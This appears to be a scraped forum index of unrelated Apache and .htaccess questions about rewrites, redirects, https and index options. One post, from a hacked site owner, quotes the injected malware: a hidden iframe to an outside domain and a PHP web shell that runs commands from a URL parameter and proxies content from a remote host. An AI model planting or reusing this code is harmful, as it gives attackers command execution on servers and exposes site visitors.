Apache :: HTAccess Index Strip And Force Www
Apr 1, 2013
My issue is with my code I have it rewwrites my addon domains to the main domain. I have a addon domain exclusion line. But each time I add a domain I have to go in and edit the htaccess. I foresee lots of addon domains in my future.
View 2 Replies
ADVERTISEMENT
Jan 11, 2013
I use WordPress and one Template added .menu to all of my URLs. I changed my Template and i got many 404. I d like to strip the ".menu" chars at the end of each Url and use a 301 redirect for Google to find the new right URL.
I would like to redirect Url like"http://mydomain.com/my-url/.menu" to "http://mydomain.com/my-url/""http://mydomain.com/my-url-2/.menu" to "http://mydomain.com/my-url-2/""http://mydomain.com/my-url-3/.menu" to "http://mydomain.com/my-url-3/"... and so on ....
View 1 Replies
View Related
Jun 15, 2014
I have some instructions written in the .htaccess of root directory for my website. So how to force those rules to apply to all sub directories even if those sub directories have .htaccess that overwrite the rules of the mother .htaccess on the root directory ? For example the root .htaccess deny access to all *.log files, so how to force that rule even if in some subdirectories there is some .htaccess files that allow access of *.log files.
View 1 Replies
View Related
Apr 19, 2008
I have worked with mod_rewrite for years and never encountered this problem. I am converting html pages to a single php file and it works perfectly. I used htaccess the rewrite the urls to appear the same so that no links would be broken or lose SEO value.
The only problem is that my friend who also helped build the sites added different directories and within those directories are index.htm files that serve as a home page for the separate directory. Like /info/index.htm and /help/index.htm within the root directory. The problem is that for some reason my mod_rewrite directs to the main index.htm rewrite even if I include the whole path to the file. In htaccess I have this so far:
RewriteEngine on
RewriteRule index.htm$ index.php [L]
RewriteRule servers.htm$ index.php?action=servers [L]
RewriteRule movies.htm$ index.php?action=movies [L]
However there is a directory named "info" and inside that directory it has an index.htm file and it seems to conflict with my first mod_rewrite. I tried using:
RewriteRule /info/index.htm$ index.php?action=info [L]
and used other methods but none seem to work any ideas?
View 1 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Sep 30, 2009
how to display the time and date of a file that was added to an Apache file directory on a cPanel server?
It used display the time and date back in the 1.3 and 2.0 days, but it doesn't on the 2.2 versions of Apache.
View 2 Replies
View Related
Oct 22, 2007
i ask of cpanel.net that why : my apache any 1h going to down and i force run restart httpd
cpanel :
Howdy,
This is occurring because your server is consistently hitting the maximum
allowed concurrent connection limit, defined by MaxClients in httpd.conf:
[root@part7 ~]# grep MaxClient /usr/local/apache/logs/error_log | tail -5
[Mon Oct 22 13:07:46 2007] [error] server reached MaxClients setting, consider
raising the MaxClients setting
[Mon Oct 22 13:32:03 2007] [error] server reached MaxClients setting, consider
raising the MaxClients setting
[Mon Oct 22 14:03:29 2007] [error] server reached MaxClients setting, consider
raising the MaxClients setting
[Mon Oct 22 14:16:07 2007] [error] server reached MaxClients setting, consider
raising the MaxClients setting
[Mon Oct 22 16:48:36 2007] [error] server reached MaxClients setting, consider
raising the MaxClients setting
[root@part7 ~]#
You will need to adjust this setting to a value which better accommodates your
server to prevent any further downtime.
View 5 Replies
View Related
Nov 23, 2014
We are struggling to configure our Apache reverse proxy (on WIN 2008) server to force https.
We have the cert installed on the proxy server, and it seems to be working but we are unable to force connections to https: and the site is still available via http:
How do you enforce https on the site?
reading read about the .htaccess file, virtual hosts but still having a hell of a time putting it all together
Internet -> SSL -> Apache 2.2 -> HTTP -> web app
View 2 Replies
View Related
Jun 23, 2008
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
View 1 Replies
View Related
Jul 7, 2007
I was using Apache's <Directory> directive to modify the way the default indexes look.
I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.
Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png
IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>
It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files
View 10 Replies
View Related
Feb 28, 2014
I get many GET requests that have auto-index like sort commands attached.
View 6 Replies
View Related
Mar 6, 2007
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
View 3 Replies
View Related
May 28, 2013
I have apache installed on a box with 2 nics. I've seen how to force the listener to an IP, but the issue is that this box uses DHCP. Is it possible to lock the listener to a network/subnet or to a specific NIC?
View 2 Replies
View Related
Dec 19, 2008
i have apache 2 and centos with plesk . when i see my apache error log it shows me :
[Fri Dec 19 05:56:35 2008] [error] [client ::1] Directory index forbidden by Options directive: /var/
www/html/
View 1 Replies
View Related
May 15, 2008
I am trying to figure out how to use mod_rewrite to make my php url's friendly. I have read a few articles but none seem to do what I want.
Here is what I want:
/login.php -> /login
/home.php -> /home
/users/update_profile.php -> /users/update_profile
/users/update_profile.php?id=343242 -> /users/update_profile/343242
Basically just strip off the .php extension, so it seems like php files are actually folders.
View 0 Replies
View Related
Mar 3, 2008
I have a load of PHP files that need trimming down, so for example
Code:
<html>
<?php
$loads_of_stuff = 1231231;
?>
</html>
change to
Code:
<html>
<?php
$loads_of_stuff = 1231231;
?>
</html>
There are 000's of lines, so some awk command or something similiar would be great to execute on each file.
View 1 Replies
View Related
Mar 22, 2008
I have the following Apache redirect code in .htaccess:
RewriteRule ^sap-latest-news/([0-9]*)/([A-Za-z0-9_-.]*).htm$ /domain.com/app/modules/content/latestNews.php?id=$1 [L]
This redirect works fine on Apache 2.2.8, but doesn't work on Apache 1.3.41
The following is the entry from error_log:
RewriteRule: cannot compile regular expression '^sap-latest-news/([0-9]*)/([A-Za-z0-9_-.]*).htm$'
A simple Rewrite is working fine in Apache 1.3, but the above regualar expression doesn't seem to be working on Apache 1.3. Does anyone know whether Apache 1.3 doesn't support it?
View 3 Replies
View Related
Mar 27, 2007
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
Is it something wrong with httpd.conf or what?
View 6 Replies
View Related
Jun 2, 2007
I am running into a bit of a problem. Previously, I can add an apache handler through cPanel easily... but now I moved to mediatemplate.net and that feature isn't available on their contol panel. Since they also run apache, I figured that I can set the apache handler manually through an .htaccess file - is that possible? If so, what is the syntax that will enable me to set .html files to be handled like .php files?
There is one setback to this process - this will be a manually inserted file for every directory that I want to do the above stated file handler. Is there an easier way to do this via SSH? I don't have root access, only normal user access.
View 3 Replies
View Related
Jun 2, 2009
Hi Htaccess not working in my server how Enable htaccess on Apache ?
View 14 Replies
View Related
Nov 3, 2009
im installing APACHe on windows server 2003 but .htacess not work on apache
View 4 Replies
View Related
Oct 23, 2014
I have been trying to figure out how to do a url rewrite but no luck so far.
How can I have this [URL] ....
as the default [URL] ....
View 2 Replies
View Related
Jan 26, 2014
I am have trouble using .htaccess and .htpasswd to password-protect a directory on my web server. How do I use .htaccess and .htpasswd to protect a directory?
View 3 Replies
View Related
Jul 17, 2013
I have a website. I would like to redirect all user/author url to one author/admin...e.g All aurthor links to redirect to one author link
author 1. mysite (dot) com/author/x
author 2. mysite (dot) com/author/y
author 3. mysite (dot) com/author/z
they are about 300
I would like all of them to redirect to author 2. mysite (dot) com/author/admin.
View 3 Replies
View Related
Jan 31, 2013
what is .htaccess file? use of this file?
View 6 Replies
View Related
Jan 25, 2013
I have a directory of /flash/1.swf all the way to /flash/4000.swf on my hosting.I am trying with terrible luck to load the flash movies into the container on zomgflash dot com(avoiding possible spam) -- its all setup...it should be loading the movies...I think it's a mod_rewrite problem but I could be wrong...it's basically a clone of iwantmoar dot com(avoiding spam again) -- you'll notice when you type a number after the domain like /238 or /2898 that it loads up /flash/238.swf or /flash/2898.swf into the flash container on the iwantmoar website. That's what I'm trying to get my website to do.
I need them shown like [URL] .... in the address bar... and that would have index.php load up 1.swf in the container if that makes more sense.This is the contents of my .htaccess from my relentless googling:
<IfModule mod_rewrite.c>
Rewrite-engine on
RewriteRule ^([0-9]+)$ /index.php [PT]
</IfModule>
ErrorDocument 404 /index.php
View 1 Replies
View Related
Jun 13, 2007
Does anybody know any solution to prevent this?
Basically every customer can bring server down with malformed htaccess.
Is there any solution to prevent this?
This doesn't help:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions MaxRedirects=5
</IfModule>
this htaccess causes problems:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
View 6 Replies
View Related
May 11, 2013
I've not seen an answer for this mass 301 redirect issue specifically.. How to do this...
category/brand URLs:
redirect: /ID-some-brand (e.g. /43-religion-clothing or /26-ichiban) to: /some-brand (e.g. /religion-clothing or /ichiban)
Product URLs:
redirect: /some-category/ID-some-product-name.html (e.g. /mens-sweat-shirts/1543-ichiban-fairly-offensive-sweat-in-grey.html)
to: /some-product-name (e.g. /ichiban-fairly-offensive-sweat-in-grey)
We have 1,090 products and 60+ categories so some form of .htaccess trick would be amazing to know. What I could put in the .htaccess to accomplish this.
View 1 Replies
View Related
Jan 25, 2014
Well, I was trying to use the following in htaccess, but I get the message of redirect loop.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?page=$1 [L,QSA]
What I want to do is this: The URL is like somedomain.sub.com/somepage/s1/s2The index.php is accessible from somedomain.sub.com/somepage/I want to send s1/s2 as $_GET['page']
Also, I don't want the URL in the address bar to change, only the url sent to the server should change. This worked well in my localhost, but on webserver (0fees.net), it doesn't work ...
View 1 Replies
View Related
Jul 11, 2015
I have viewing the city names in my website like the following structure - [URL] ....
Here is the ,htaccess code - RewriteRule ^([^/]*)/([^/]*)/$ city.php?state=$1&city=$2 [NC]
But actually, I'm looking for to use wildcard subdomains that will rebuild the city names like the following structure-
city.mydomain.com/state/
I just need the htaccess rewrite code.Â
View 1 Replies
View Related
Feb 21, 2013
I have page like that : [URL] ....
I want to permanent redirect it to : [URL] ....
Also needs to redirect all another page have words ( rates ) to index.
View 9 Replies
View Related